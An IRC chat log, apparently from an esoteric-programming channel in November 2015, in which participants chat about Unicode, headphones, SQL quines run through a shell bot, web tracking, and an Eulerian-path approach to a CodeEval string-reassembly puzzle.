22:44:35 <\oren\> so for like 8 million canadians anyway
22:46:12  sure, and already Sunday for a billion Asians
22:50:50  TIME WARP
22:50:58  It's been very fireworksy hereabouts.
22:52:07 <\oren\> wait, isn't ︱ the vertical long vowel sign?
22:52:16 <\oren\> `unidecode ︱
22:52:17  ​[U+FE31 PRESENTATION FORM FOR VERTICAL EM DASH]
22:52:21 <\oren\> oh
22:54:24 -!- shikhin has joined.
23:15:28  http://www.smbc-comics.com/index.php?id=3871
23:19:31 -!- mauris has quit (Read error: Connection reset by peer).
23:20:14 -!- mauris has joined.
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23:30:05  Helloerjan
23:31:52  hppavilion[1]: I am not the other one, oerjan is
23:32:11  olsner: Is that a joke?
23:32:28  It /must/ be
23:33:11  nope
23:34:36  (oklopol is probably the original o)
23:35:13  oh, and actually oerjan starts with an ø, so not even an o
23:35:17  You're the "other one" from MY POV, because oerjan is on more often than you are when I'm on.
23:35:26  But his screen name is oerjan.
23:35:52  that's just a typographical workaround
23:36:23  Doesn't IRC /support/ unicode now?
23:36:42 -!- Sprocklem has joined.
23:42:21  hppavilhion
23:42:57  hppavilion[1]: not in nicks
23:43:10  Ah
23:43:27 -!- bb010g has joined.
23:43:34  also, i've had this nick for decades, so i'm not going to stop using it.  i just used it to register on github...
23:44:16  admittedly i'm using Ørjan in at least one place (yafgc comment sections)
23:44:20  oerjan is easier to type than ørjan anyway
23:44:32  and my full name on stackoverflow
23:45:16  i found a flaw in the new Data.Constraint.Forall construction too :( but i think it's repairable.
23:49:00  Øjvind.
23:50:30  There was an Øjvind (or maybe an Öjvind; you see both) as the name of a fictitious person in a math assignment.
23:51:21  It was probably Öjvind, because they were the last in something or another (I've forgotten the plot), and Ö comes in last in the Finnish alphabet; Ø we don't have.
23:51:36  Ö KAY
23:53:12  Seen at the office: https://googledrive.com/host/0B4J9OAzXNfZAX2xhYVpha0w2QUk
23:53:19  Regarding the topic, is there a left channel?
23:53:32  Or are we monophonic
23:54:09  The data model for my default shell in WalrusOS allows me to define commands like DROP and DUP
23:54:11  The only channel in a monophonic thing is more commonly the left rather than the right channel, but who knows.
23:54:15  For the deques
23:55:16  DROP is SAVE POP RETRIEVE and DUP is SAVE POP PUSH PUSH RETRIEVE
23:55:42  DUP could, in theory, have an "r" flag that tells it how many times to dup if I were to add FOR loops
23:55:55 -!- copumpkin has quit (Quit: Textual IRC Client: www.textualapp.com).
23:55:58  Taneb: if you remove the right channel, only the wrong ones are left
23:56:46 -!- copumpkin has joined.
23:57:54  If you subtract the left and right channels, sometimes all the vocals are gone.
23:58:15  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45168&oldid=45166 * -Dark-Phantom- * (+547) My first quine
23:59:42 <\oren\> fizzie: yeah, that sometimes happens with broken headphones

2015-11-08:

00:00:27  [wiki] [[List of quines]]  http://esolangs.org/w/index.php?diff=45169&oldid=42623 * -Dark-Phantom- * (+546) DStack
00:00:43  I think I will go to bed now
00:01:18  I think fizzie was referring to the fact that vocals are often recorded "center stage"
00:01:34  Whereas instruments may be placed more freely
00:01:53  . o O ( "face the music", hmm, where does that phrase come from )
00:05:19  That didn't help. "The precise allusion in this expression has been lost."
00:08:58 -!- shikhin has quit (Quit: leaving).
00:12:54  oh treeowl _is_ dfeuer
00:13:37 <\oren\> int-e: yes, exactly. if the headphone break in such a way that the left and ground are shorted, the left side will be silent and the right will have a watery sound without any vocals
00:15:40 <\oren\> or sometimes you'll hear the left as the same as the right due to the ground being driven in the opposite of the right
00:18:39 <\oren\> the main problem is that those hedphone plugs are a stupid design that shorts easily
00:21:01 <\oren\> thy should have used a three-pin  D-Sub
00:22:19  olsner: no, only oerjan's evil twin starts with an ø, oerjan himself doesn't
00:25:36  \oren\: but then people would have to worry about orientation when pluggin the headphones in...
00:26:51  aren't the headphone plugs for hysterical raisins, to be compatible with mono headphones; plus they also have like four different variants, for different ways to transmit the microphone and button data for mobile phone headsets, of which three are non-Apple?
00:27:06  but sure, headphones break easily
00:28:56  `wisdom
00:28:59  superexponential growth/Superexponential growth? SUPEREXPONENTIAL GROWTH?! HOLY CRAP!!!
00:29:02  fungot, do you use headphones?
00:29:02  b_jonas: does anyone know the technical details of the lhc in swiss fnord? how much dollars or euros is that? fnord ( user fnord)
00:29:15  g'nite
00:29:30  Hmm, funny. I believe I have only had one of those plugs break on me so far... it ended up breaking the loudspeaker circuit permanently instead of only when phones were plugged in.
00:29:49  well, s/plug/socket/
00:31:25  broken headphones otoh are just part of life... heh
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00:34:44  Been a while since I've been here
00:38:17  fungot: I think it's pretty expensive, I don't think we could afford it.
00:38:17  fizzie: but, if he is really admin on here it says 1985 and on imdb it has both a navy/ mc aircraft were redesignated according to the interview with fnord fnord
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01:01:08  [wiki] [[User:-Dark-Phantom-]] M http://esolangs.org/w/index.php?diff=45170&oldid=45136 * -Dark-Phantom- * (+129) a little more information
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02:08:10  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45171&oldid=45069 * SuperJedi224 * (+48) 
02:09:30  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45172&oldid=45171 * SuperJedi224 * (-2) /* Example programs */
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02:19:24  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45173&oldid=45172 * SuperJedi224 * (-2) /* Example programs */
02:20:00  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45174&oldid=45173 * SuperJedi224 * (-1) /* Example programs */
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02:32:55  In CLC-INTERCAL there is SWAP command to change the meaning of commands; I thought of if such thing could be done with Magic: the Gathering such as if one card swap "protection from" with "bands with other", or swap "scry" with "fateseal", or swap "rampage" with "absorb", or something else.
02:35:08  [wiki] [[Deadfish]]  http://esolangs.org/w/index.php?diff=45175&oldid=45060 * 101.187.120.107 * (+116) /* External resources */
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02:46:24  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45176&oldid=45174 * SuperJedi224 * (+0) /* Factorial (13 bytes) */
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03:01:13  `unicode ☃
03:01:16  U+2603 SNOWMAN \ UTF-8: e2 98 83  UTF-16BE: 2603  Decimal: ☃ \ ☃ \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
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03:37:11  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45177&oldid=45026 * SuperJedi224 * (+129) /* Instructions */
03:42:23  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45178&oldid=45177 * SuperJedi224 * (+122) 
03:42:32  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45179&oldid=45178 * SuperJedi224 * (+1) 
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03:45:13  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45180&oldid=45179 * SuperJedi224 * (+8) /* Instructions */
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04:20:59  If they would ever make a new version of "Bargain" card as an instant then it would be much better than a sorcery.
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04:33:44 <\oren\> https://ja.wikipedia.org/wiki/JIS_X_0213#/media/File:JIS_X_0213_2000-2004.gif <- augh
04:39:46  I got my command prompt working!
04:39:47  Yay!
04:39:53  No file manipulation yet though
05:05:51 <\oren\> wow katakana words are sometimes more inscruatble than kanji words. "maruchibaito" -> "multibyte" took me almost a whole minute to figure out
05:06:28 <\oren\> s/inscruatble/inscrutable/
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05:19:05  `unicode 〄
05:19:07  U+3004 JAPANESE INDUSTRIAL STANDARD SYMBOL \ UTF-8: e3 80 84  UTF-16BE: 3004  Decimal: 〄 \ 〄 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
05:21:14  Do you know how you are supposed to figure out filename of GF/PK fonts when the resolution of the printer does not use square dots?
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06:42:06  b_jonas: I fixed the s
06:42:27  Well, now it's about 2 pixels too short, by the looks of it
06:57:17  [wiki] [[Hello++]]  http://esolangs.org/w/index.php?diff=45181&oldid=40873 * 173.51.108.216 * (+16) 
07:06:55  USER-DEFINED COMMAND FILES WORK!
07:13:44  http://i.imgur.com/P8PMfSC.png
07:23:17  The text renderer gets pretty slow though
07:24:22  I think I'm going to change the way it works for efficiency purposes, make it so I only have to rerender the current command every time a character is pressed.
08:05:28  OK. It's now ~1000000000000% more efficient now that it doesn't have to render every line of text every time
08:05:57  Though it still has to render the last line each time it gets printed. Maybe I should fix it so only the last letter is affected, as that's the only one you can influence
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09:06:58  int-e: I had one headphone plug of which a metalic part was broken off and stuck in the headphone socket of a then expensive electronic device, so that we couldn't use either the headphone output or the builtin speaker of that device, because it thought a headphone was plugged in.
09:08:52  sounds pretty aweful
09:09:34  eventually after some months, we got it out, but it needed a dentist's special tool.
09:10:07  I have electric engineer's tools accessible, those weren't enough. 
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10:05:21  I partially made up a "TVMIDI" specification in an attempt to make up a specification to allow a TV cable box to be controlled by MIDI.
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10:14:54  what... do you mean like playing on an electric pipe organ to change channels?
10:20:01  I suppose it could, although that isn't the intention. MIDI CC 0 and 32 are used to change channels (although note events may be used like pushing buttons on a remote control, so if your organ has enough range then it may be possible to do this)
10:22:09  MIDI CC 64 is used to control the OSD. If all bits are set, then the OSD is fully suppressed and only the TV show can be displayed.
10:23:38  zzo38: sorry, the pipe organ thing just put an image to my head
10:24:38  (like the organ used to control… something… in MLP FIM S4 E03)
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11:03:36  [wiki] [[Pointer-ng]] N http://esolangs.org/w/index.php?oldid=45182 * 93.198.147.238 * (+2811) Created page with "pointer-ng is an extended version of [[Brainfuck]] by [http://twitter.com/fucketh1cs Maximilian Krause (aka fucketh1cs)] who also wrote an interpreter for it. pointer-ng is a ..."
11:27:33  [wiki] [[Talk:Runespells]] N http://esolangs.org/w/index.php?oldid=45183 * LegionMammal978 * (+133) Created page with "What, exactly, does Ni do? ~~~~"
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11:44:19  [wiki] [[Talk:DL]] N http://esolangs.org/w/index.php?oldid=45184 * LegionMammal978 * (+150) Created page with "The website seems to have been compromised. ~~~~"
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11:52:42  ♪ la la la ♪ scrozzling OSes with unstable usb keeeeys la la la ♪
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12:17:13  hi
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12:30:07  `` sqlite3 :memory: 'SELECT 3+8;'
12:30:09  11
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12:31:09  `` sqlite3 :memory: $'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\nFROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\nFROM(SELECT'ab,');'ba);\n'
12:31:10  bash: -c: line 0: syntax error near unexpected token `SELECT'ab,'' \ bash: -c: line 0: `sqlite3 :memory: $'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\nFROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a|
12:31:19 -!- boily has joined.
12:31:54  `` sqlite3 :memory: $'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\n'"FROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT"$'\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\nFROM('"SELECT'ab,');'ba);"$'\n'
12:31:55  SELECT \ ab||a||a||a||a||aa||b||a||b||a||bb||b|| \ a||aa||a||aa||aa||b||a||bb||a||bb||bb||b|| \ a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba \ FROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT \ ab||a||a||a||a||aa||b||a||b||a||bb||b|| \ a||aa||a||aa||aa||b||a||bb||a||bb||bb||b|| \ a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba \ FROM(SELECT'ab,');'ba);
12:32:10 -!- J_Arcane has quit (Remote host closed the connection).
12:32:18  `` sqlite3 :memory: "SELECT replace(s,char(33),'''')||s||'''s);'FROM(SELECT'SELECT
12:32:18  bash: -c: line 0: unexpected EOF while looking for matching `"' \ bash: -c: line 1: syntax error: unexpected end of file
12:32:21  argh
12:33:11  `sqli
12:33:12  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sqli: not found
12:33:17  `` echo $'#!/bin/sh\nexec sqlite3 :memory: "$@"' > bin/sqli && chmod a+x bin/sqli
12:33:20  No output.
12:33:25  `sqli SELECT 3+8;
12:33:25  11
12:33:36  `sqli SELECT replace(s,char(33),'''')||s||'''s);'FROM(SELECT'SELECT replace(s,char(33),!!!!)||s||!!!s);!FROM(SELECT!'s);
12:33:36  Error: no such function: char
12:33:42  old version?
12:33:51  `sqli SELECT sqlite_version();
12:33:52  3.7.13
12:33:55  yep, old
12:34:52  fungot, install SQLite 3.9.2 to HackEgo please
12:34:53  b_jonas: besides all the disputes that have been investigated. user:jb3 sup -(user talk:jb3)/sup 10:22, 26 march 2006 ( utc) user:keith binneykeith binney ( user talk:keith binneytalk) 06:15, 15 july 2006 ( utc
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12:43:21  fungot: Get rid of those signatures in this model, please.
12:43:21  fizzie: this book sucks
12:44:03  fungot: That's a bit harsh, and Wikipedia talk pages aren't really even a book.
12:44:04  fizzie: continuous learning management is a fnord which is available through the usa link. user:83d40m83d40m 22:58, 17 june 2008 ( utc)/small!-- template:unsignedip !--autosigned by sinebot-- ( nevermind, it's under gang of four ( disambiguation)" is the best example of an organization and its activities, not present arguments about the beliefs the organization promotes. those arguments may be entirely true, as the
12:47:00  ^style
12:47:00  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp* youtube
12:47:16  fungot: is there a cosinebot?
12:47:17  int-e: can we request fnord for this term. there are no objections in a week or two, and either they have made substantial incursions into parts of georgia that have nothing to do with the development and building of horse transports for use in the carolinas. in much of the dispute was added by" user:raskolnikov the penguinraskolnikov the penguin ( user talk:raskolnikov the penguintalk • special:contributions/ ra
12:47:40  It seems to be a bad idea to learn from discussion pages...
12:49:43  fungot: chicken?
12:49:44  boily: just how much of it crufty and unsupported opinion. almost every sentence can be challenged. take for example the " paris and its closest departments" with " variation", discussing common descent and major evolutionary developments ( and, maybe, but i think
12:49:56  int-e: The thinking was, they'd be more conversational than the actual articles.
12:50:05  I just didn't put very much effort into cleaning things up.
13:01:26  Do you have any independent sources to back up the claim that they're more conversational? Jafet (talk) 12:59, 8 November 2015 (UTC)
13:02:21  fungot doesn't count; its speech clearly betrays a close association with the website under discussion
13:02:22  Jafet: i'm fine with the switch back to " worms series" or " worms computer games".
13:08:08  No, it was original research.
13:08:15  fungot: I like you.
13:08:15  boily: surely this can't be literally true. in truth, india is just as good a place for debate or for arguing the toss. the presence of fnord saved his life.
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13:08:23  fungot: NO ORIGINAL RESEARCH
13:08:23  fizzie: ( undent) i'm fine with merging the two articles are equally referenced. since when?. dont you think there could be another reason:
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14:34:42  http://4.bp.blogspot.com/-_Z4b6WTwBrU/Vfy9WVv__oI/AAAAAAAAp1k/1jA3uW8PGG0/s400/arguingonline.gif
14:37:38  fkjvzs-9u3209ag4vsrkn   ... I'll stick to the old-fashioned technique, even though it's slower.
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16:14:29  Kyrpä.
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17:24:24  [wiki] [[Pointer-ng]]  http://esolangs.org/w/index.php?diff=45185&oldid=45182 * SuperJedi224 * (+8) 
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18:26:11  [wiki] [[Pointer-ng]]  http://esolangs.org/w/index.php?diff=45186&oldid=45185 * SuperJedi224 * (+0) 
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18:44:16  Switzerland just extended false pretence protection to cosmetics.
18:44:19  neat.
18:44:49  ^style
18:44:49  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp* youtube
18:45:25  I'd opt for stricter false pretence rules for ads anyways.
18:45:58  Otherwise it's just mass deception.
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18:52:47  Facebook doesn't honor do not track 
18:52:49  what a surprise
18:52:56  but this would actually be a solvable issue :)
18:52:58  I think.
18:53:24  Browser generated session cookies or something like that
18:54:25 -!- copumpkin has quit (Read error: Connection reset by peer).
18:54:37  the website sends a session token to the browser once, and the browser just resends that single token everytime a request is made
18:54:41  except for third-party requests
18:54:49  token won't be sent for third-party requests.
18:54:54  [wiki] [[Pointer-ng]]  http://esolangs.org/w/index.php?diff=45187&oldid=45186 * 93.198.147.238 * (-1) fixed some formatting in commands
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18:56:08  woulndn't really stop them from tracking you
18:56:33  but it may stop them from tracking you through third-party sites
18:56:51  unless you have a static ip
18:56:57  then you're screwed either way
18:57:11  but ISPs could solve that problem
18:57:19  by having a pool of random temporary IP addresses
18:57:27  and do address translations
18:57:38  which randomizes every request
18:58:04  the technology for having way better privacy is available.
18:58:14  just not in place :D
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19:50:48  [wiki] [[Pointer-ng]]  http://esolangs.org/w/index.php?diff=45188&oldid=45187 * 93.198.147.238 * (+29) /* Interpreters */
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20:25:47  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45189&oldid=45180 * SuperJedi224 * (+18) 
20:27:01  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45190&oldid=45176 * SuperJedi224 * (+18) 
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20:45:27  'Since Varsity has told us that fascination with Jellybabies is a "fetish", and we want to keep Nomicam a clean family game: The speaker shall once and once only go through the rules, changing every mention of the word "jelly baby" - in whatever grammatical form - into the word "sheep" - in the corresponding grammatical form.'
20:46:09  I just googled that, and besides the nomic itself, the other hits are logs from this channel, one with me quoting exactly that over a year ago.
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21:40:02 <\oren\> Sgeo: I thought jellybabies are a candy?
21:41:28  I think so too, it's the fascination with them that's a fetish
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22:01:42  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45191&oldid=45189 * SuperJedi224 * (+59) 
22:02:07  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45192&oldid=45190 * SuperJedi224 * (+56) 
22:02:40  [wiki] [[Microscript]]  http://esolangs.org/w/index.php?diff=45193&oldid=45192 * SuperJedi224 * (+1) 
22:03:21  [wiki] [[Microscript II]]  http://esolangs.org/w/index.php?diff=45194&oldid=45191 * SuperJedi224 * (+0) 
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23:00:41  Is anyone active?
23:02:20  no
23:05:28  b_jonas: Oh :(
23:05:53  I want to design my default filesys with the builtin DUP and ROLL and such commands
23:12:04  Well, not builtin so much as file-defined
23:14:30  How is that working?
23:16:42 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
23:19:31  [wiki] [[Special:Log/newusers]] create  * Es1024 *  New user account
23:21:40  [wiki] [[Marbelous]]  http://esolangs.org/w/index.php?diff=45195&oldid=43737 * Es1024 * (+1) /* Instructions */
23:21:48 -!- hppavilion[1] has joined.
23:31:53  [wiki] [[TeaScript]]  http://esolangs.org/w/index.php?diff=45196&oldid=45030 * Vihan * (+117) /* Removing periods */
23:33:00  [wiki] [[TeaScript]]  http://esolangs.org/w/index.php?diff=45197&oldid=45196 * Vihan * (-114) /* 1-byte Special Characters */
23:33:14  [wiki] [[TeaScript]]  http://esolangs.org/w/index.php?diff=45198&oldid=45197 * Vihan * (-58) /* Compilers / Interpreters */
23:44:33 -!- oerjan has joined.
23:57:19  What should I call the inverse of DROP on a deque?
23:57:35  oerjan: I choose you!
23:58:41  PORD hth
23:58:56  No really xD
23:59:04  ...
23:59:05  (this should teach you to be more careful with your choices)
23:59:06  Fine
23:59:15  It IS an Esoshell, so...

2015-11-09:

16:11:32 -!- esowiki has joined.
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16:11:36 -!- esowiki has joined.
16:11:37 -!- esowiki has joined.
16:13:05  on the bright side, HackEgo has been very responsible
16:13:29  I'm honestly not sure why glogbot didn't pop back up on its own... the system was up...
16:16:01  i was getting into this strange ritual of copying tunes logs into vim to reformat them
16:16:57  I'm sorry it's all my fault :'(
16:17:09  it's all forgiven
16:17:14  https://www.codeeval.com/open_challenges/185/  i'm having problems with the repeated parts
16:19:26 -!- MoALTz has joined.
16:20:21  any idea? :\
16:20:38  well it says in point 1 that you have _all_ shifts
16:21:15 -!- AnotherTest has quit (Ping timeout: 250 seconds).
16:21:21  that probably is enough to make it solvable
16:23:58  as long as the n-1 first letters and the n-1 last letters aren't identical, then it's obviously not
16:24:22  (because then you get a loop that can start anywhere)
16:25:24  otherwise, here's how to find the first n-1 letters: it's the unique combination which occurs once more as the first n-1 chars in a piece than it does as the last n-1 chars.
16:25:42  similarly for last n-1.
16:25:54  yes that's all good
16:26:00  but how do you deal with the repeated parts?
16:26:36  hm
16:27:03 -!- AnotherTest has joined.
16:27:57  if there are any that are repeated 3 or more times, you cannot.
16:28:17  unless the part in between is also identical, i guess.
16:28:54  but do you have to... I mean they promise you that the solution will be unique
16:28:57  e.g. 123abc456abc789abc0  must become ambiguous
16:29:13  (with length 3)
16:30:07  actually isn't this basically a hamiltonian path problem.
16:30:33  yes.
16:30:41  each piece is a node, each possible next piece gives an edge
16:31:10  but I guess we can hope for a very sparse parse with lots of nodes having degree 2
16:31:11  or wait
16:31:19  ...sparse graph...
16:31:20  each piece is an _edge_
16:31:46  well, hmm, it's a directed hamiltonian path problem
16:31:50  ...and it suddenly becomes a eulerian path problem
16:31:57  oh wait, directed
16:31:57  (at least that's how I would view it)
16:32:46  directed eulerian path sounds easier than hamiltonian, anyway
16:33:44  What are the nodes in your graph where each piece is an edge? 
16:33:44  oh and the graph can have multiedges
16:34:13  fizzie: n-1 length substrings
16:34:31  fizzie: in my graph, the pieces are the nodes, and there's an edge between pieces that can be successive shifts.
16:34:41  int-e: Yes, that was easier.
16:34:46 -!- sacadouche has quit (Quit: Leaving...).
16:35:05  But I guess both make sense.
16:35:25  (oerjan wrote that differently above... hmm)
16:35:42  but it's an obvious encoding anyway
16:35:45  i'm sure i meant the same thing
16:36:09  well my point is that eulerian path problem is polynomial, while hamiltonian is NP-complete
16:36:15  oerjan: I meant you phrased it differently, not that it was different.
16:36:32  but that's undirected, not sure with directed
16:36:45  I don't see the eularian path
16:37:19  hm? when the pieces are edges, and you visit each piece once
16:37:43  oh.
16:38:21 * int-e missed a step there
16:39:59  many nodes with only two edges does help, you can collapse them
16:42:39  and then only the repeating n-1 strings will be left
16:42:49  okay, this looks plausible: there is a directed eularian circuit if a graph is strongly connected, and the indegree and outdegree of each node are equal. (without the strong connectedness, you can decompose it into circles, and by the connectedness you can glue them together into a single one)
16:43:12  (eularian paths follow)
16:44:02  int-e: um we cannot have circuits in this problem
16:44:13  they obviously give non-unique solutions.
16:44:25  oerjan: (eularian paths follow) ... we identify the two odd nodes and connect them by an artificial edge
16:44:26  although - we could add an edge from the beginning to the end
16:44:40  are we doing that thing again.
16:44:45  no
16:45:05  er end to beginning
16:45:18  which is that artificial edge
16:45:31  it's just that the eularian circuit case is nicer to characterize and reason about
16:45:40  quite so
16:46:00  now we need a uniqueness requirement.
16:46:40  constraints: "There is only one correct answer for each test case."
16:46:43  also his name was Euler not Eular hth
16:47:08  that was his last name
16:47:15  I should know.
16:48:01  I guess the "rian" is just too difficult to get right
16:48:35 * int-e is rationalizing... at least that part of the brain still works :P
16:48:46  ok the step i'm unsure of is how to decompose into circles
16:48:54  (and that's good; it's the most important part for staying sane)
16:48:55  [wiki] [[Pointer-ng]]  http://esolangs.org/w/index.php?diff=45226&oldid=45188 * 93.198.137.24 * (+35) Updated download to official interpreter
16:49:23  oerjan: you just pick an edge and follow a path until you end up at the starting point... remove that circle, repeat
16:49:58 * izabera was doing that
16:50:01  hm you're right, because you still have ingoing = outgoing
16:50:42  In fact, amazingly, it's even easier than the usual parity argument for undirected graphs.
16:50:50  heh
16:51:25  ok so then it might be the gluing together...
16:51:43  that, too, should be simple
16:51:44  (trivial exercise: prove that in any eulerian graph, one can orient the edges such that indegree = outdegree for all vertices)
16:52:01 -!- mauris has joined.
16:52:24  izabera: ok so once you have decomposed it into circles, just join them in an arbitrary way
16:52:37  and you'll end up with a large one
16:52:59  and by the problem statement, it must be unique once you identify the starting/ending
16:53:08 -!- zadock has joined.
16:53:23  well unique in what string it gives, anyway
16:56:12 -!- mauris has quit (Ping timeout: 244 seconds).
16:57:16  step 1: make a dictionary of all n-1 size subpieces and their in/out pieces.
16:57:40  find the two unique ones that don't have the same number of in/out.
16:57:56  (that was step 2)
16:58:22  step 3: find a path, just by following edges, from the initial to the final subpiece.
16:58:37  (adjust the dictionary to remove the edges used)
16:58:45 -!- J_Arcane has quit (Ping timeout: 246 seconds).
16:59:22  another problem
16:59:29  step 4: while there are edges remaining in the dictionary, pick a subpiece in the dictionary that is also in the string constructed so far.
16:59:35  how do i identify the edge?
16:59:42  expand the string by a new path from that subpiece to itself.
16:59:57  let me explain
16:59:58  izabera: an edge is the same as a piece, here
17:00:04  no i mean
17:00:07  yes i know that
17:00:19  oh and they must be counted with multiplicity.
17:00:20  i mean the start/end of the cicle
17:00:32  edge in that sense
17:00:42  izabera: i told you how to identify the start/end n-1 subpieces
17:00:55  yes but
17:00:59  in that example
17:01:01  the edges will just fall into place when you complete the algorithm, i think
17:01:25  "The evil plan to hack CodeEval ranking." this is the first one i remove
17:01:57  after that, i'm left with "il-ev" "l-evi" "evil-" "-evil" "vil-e"
17:02:09  so i thought i could start from il-ev
17:02:35  izabera: no, you must choose a subpiece that is in the string so far.  only vil fits, i think.
17:02:35  and if i try to build a new cycle from that, i can join all those pieces to il-evil-ev
17:02:48  i see
17:02:50  thanks
17:02:54  er, evil
17:08:55 -!- mauris has joined.
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17:24:27  [wiki] [[RegexPL]]  http://esolangs.org/w/index.php?diff=45227&oldid=45223 * Oerjan * (-13) Fix template call (only named parameters may contain =)
17:25:03 -!- AnotherTest has joined.
17:30:49  can i end up with a piece that doesn't fit in the original cycle?
17:31:12  [wiki] [[Template:Wayback]]  http://esolangs.org/w/index.php?diff=45228&oldid=30812 * Oerjan * (+188) Explain how to use =
17:31:16  i mean i have the first cycle, then i find a new one, will it extend the first one?
17:32:28  no
17:32:49  but i can always find a cycle that extends the first one
17:32:53  this sounds correct
17:33:56  yeah because the graph is connected
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17:39:07  [wiki] [[Pointer-ng]]  http://esolangs.org/w/index.php?diff=45229&oldid=45226 * 93.198.137.24 * (+209) Added one more example
17:39:26  [wiki] [[Pointer-ng]]  http://esolangs.org/w/index.php?diff=45230&oldid=45229 * 93.198.137.24 * (+6) /* Example Code */
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17:42:04  [wiki] [[Special:Log/newusers]] create  * Weloxux *  New user account
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17:49:09 -!- Welo has joined.
17:53:25 -!- Guest78999 has joined.
17:53:30  Hey.
17:53:38  Name's Alek.
17:53:52  If ANY OF YOU ARE ALIVE, Please Tell Me.
17:53:57  i'm mostly alive
17:54:02  Good.
17:54:39  I'm not
17:55:04  i'm a zombie
17:55:06  does that count?
17:55:29  i guess it depends on which kind of spell was used to summon you
17:55:34 -!- drdanmaku has quit (Quit: .).
17:55:36  Okay...
17:55:54  Still
17:56:15  fungot: u alive?
17:56:16  izabera: " sometimes known as crew". really? i've never seen a such bad situation in his screenplay but also included a scene from the " s", they were lower in social position than the arabs and berbers, and were fnord it around! odd! fnord 15:09, 12 aug 2004 ( utc)
17:56:57  IRC SPAM?!
17:57:08  unbelievable
17:57:25  That. Was Too Long.
17:57:48  i want to dye my hair pink
17:57:58  ...
17:57:58  not pink like the girl from lazy town
17:57:59  izabera: sounds good
17:58:03  Oh Well.
17:58:04  Bye.
17:58:05  more like pastel pink
17:58:06 -!- Guest78999 has left.
17:58:35  fungot: please explain Guest78999
17:58:35  int-e: ' ' the new york times mainly uses kiev. the times style guide http://www.timesonline.co.uk/ tol/ fnord/ fnord fnord
17:58:50  thanks, that made more sense than the actual person
17:58:54  :D
17:59:17  does it always quote fnord?
17:59:24  is that a fnord mode or something?
17:59:48  if I remember correctly, "fnord" is a placeholder for rare words that didn't make it into the language model's dictionary
18:00:19  (not sure how fizzie deals with actual occurrences of "fnord")
18:01:36  http://arin.ga/L249tM/raw  ok i submitted this and it scores a whopping 5%
18:01:44  guess i'm doing something wrong
18:01:48  not sure what <.<
18:02:32  it solves their example and all the ones i came up with >.>
18:03:35  with 20 tests, 5% is just what you'd expect if it solves _only_ that example, right :P
18:04:01  can you show an example that fails?
18:04:02  what is the input format there...
18:04:11  it's  |piece|piece|piece|
18:04:57  |a|a| doesn't work, for example
18:05:44  i don't think that's valid input <.<
18:06:14  ok it is but still
18:06:33  that's pretty degenerate
18:06:35  hmm, "The minimum length of a piece of text is 8"
18:06:35  sigh
18:06:40  \o/
18:06:53  izabera: are you really making a cycle initially?
18:06:57  yes?
18:07:03  i hope so?
18:07:14  how do you deal with the initial and final pieces
18:07:53  i start with the first piece in that list, try to extend it as much as i can, and call what i get a cycle
18:08:35  initial and final pieces should be part of that first cycle
18:08:50  i don't see how you can get the initial piece
18:09:00  why not?
18:09:13  or, hm, are you going in both directions
18:09:16  yes
18:09:23  in the first cycle i am
18:09:26  ah.
18:09:36  well, it's a "path", not a cycle, anyway :P
18:09:46  ok
18:09:54  anyway it bails out at the first error
18:10:04  so it solves the first one, then gets an error
18:10:06  a hunch: what happens if your test includes strange chars that bash might have trouble with?
18:10:10  (e.g. ')
18:10:11  so it could potentially solve more than 1
18:10:20  no problem with any character
18:10:31  hmph
18:11:07  i'll change the exit to a break and resubmit, let me see how bad it is
18:11:34  izabera: um how are you reading the input, it's supposed to come from a file given on the command line
18:11:56 -!- mroman has quit (Quit: Lost terminal).
18:11:57  while loop in line 41
18:12:16  oh i didn't notice the < "$1" at the end
18:12:56  cool, now it timeouts
18:17:13  fancy
18:17:17 -!- oerjan has quit (Quit: Later).
18:25:19  if you start with substrings of length 2 of a^40b^40...y^40, then it does take a while to reconstruct the string
18:25:59  and that's still true if you change the piece length to 8
18:26:25  or 28
18:27:09  ("a while" meaning several seconds: about 5 here)
